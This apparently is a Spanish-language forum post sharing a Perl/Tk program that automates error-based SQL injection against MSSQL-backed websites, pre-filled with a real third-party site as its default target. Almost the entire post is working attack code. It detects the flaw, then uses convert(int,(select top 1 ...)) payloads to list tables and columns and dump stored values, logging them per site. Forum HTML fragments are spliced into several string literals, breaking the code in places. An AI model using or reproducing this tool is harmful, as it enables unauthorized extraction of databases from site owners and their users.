[Perl Tk] MSSQL Tool

Hola , aca les dejo un programa para sacar tablas ,columnas y valores en paginas vulnerables MSSQL, todo los registros del programa se almacenan en un archivo de texto con el nombre de la web vulnerable.
#!usr/bin/perl
#MSSQL T00l (C) Doddy Hackman 2011
 
use Tk;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Win32;
 
if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}
 
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
 
my $logo = MainWindow->new();
$logo->title("MSSQL T00l (C) Doddy Hackman 2011");
$logo->geometry("491x390+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);
my $targetero = $logo->Entry(-width=>50,-text=>"http://www.12manage.com/profile.asp?m=drarupbarman")->place(-y=>23,-x=>90);
$logo->Button(-text=>"Test",-width=>8,-command=>\&start)->place(-y=>20,-x=>400);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);
$logo->Button(-text=>"Get Tables",-width=>13,-command=>\&getables)->place(-y=>110,-x=>57);
$logo->Button(-text=>"Get Columns",-width=>13,-command=>\&getcol)->place(-y=>110,-x=>144);
$logo->Button(-text=>"Dump values",-width=>15,-command=>\&getdata)->place(-y=>110,-x=>231);
$logo->Button(-text=>"Show Logs",-width=>15,-command=>\&otherax)->place(-y=>110,-x=>330);
 
$logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>200,-x=>60);
$logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>200,-x=>190);
$logo->Label(-text=>"Data",-font=>"Impact1")->place(-y=>200,-x=>330);
 
my $tablero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>40);
my $columnero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>180);
my $datero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>320);
 
MainLoop;
 
sub start {
 
my $page = $targetero->get;
 
my $save = comer($page);
 
$code = toma($page."'");
 
if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) {
savefile($save.".txt","\n\n<ul class="bbc_list"><li type="square"> Page : $page\n");[/li][/list]
Win32::MsgBox("</li><li type="square"> The page is vulnerable to MSSQL Injection",0,"MSSQL T00l");[/li][/list]
} else {
Win32::MsgBox("[-] Not vulnerable",0,"MSSQL T00l");
}
}
 
sub getables {
 
$tablero->delete("0.0","end");
$columnero->delete("0.0","end");
$datero->delete("0.0","end");
 
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
$logo->update;
savefile($save.".txt","</li><li type="square"> Table : ".$1);[/li][/list]
$tablero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("</li><li type="square"> Finished",0,"MSSQL T00l");[/li][/list]
last;
}
}
}
 
 
sub getcol {
 
$columnero->delete("0.0","end");
my $page = $targetero->get;
 
my $save = comer($page);
savefile($save.".txt","\n");
 
$d = $tablero->curselection();
 
for my $id (@$d) {
my $table = $tablero->get($id);
 
savefile($save.".txt","</li><li type="square"> Table extract : ".$table."\n");[/li][/list]
 
($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$table."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
 
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","</li><li type="square"> Column : ".$1);[/li][/list]
$columnero->insert("end",$table.".".$1);
} else {
$logo->update;
Win32::MsgBox("</li><li type="square"> Finished",0,"MSSQL T00l");[/li][/list]
last;
}
}
}
}
 
sub getdata {
 
 
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
$d = $columnero->curselection();
 
for my $id (@$d) {
my $tablex = $columnero->get($id);
 
savefile($save.".txt","</li><li type="square"> Dump : ".$tablex."\n");[/li][/list]
 
if ($tablex=~/(.*)\.(.*)/) {
my $table = $1;
my $c = $2;
($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$c.$pass1."from".$pass1.$table.$pass1."where".$pass1.$c.$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","</li><li type="square"> $c : ".$1);[/li][/list]
$datero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("</li><li type="square"> Finished",0,"MSSQL T00l");[/li][/list]
last;
}
}
}
}
}
 
sub otherax {
my $page = $targetero->get;
my $file = comer($page);
system("start logs/webs/$file".".txt");
}
 
 
sub toma {
return $nave->get($_[0])->content;
}
 
sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE; 
}
 
sub comer {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}
 
sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20",""); }
else {return ("+","--");}}
 
# ¿ The End ?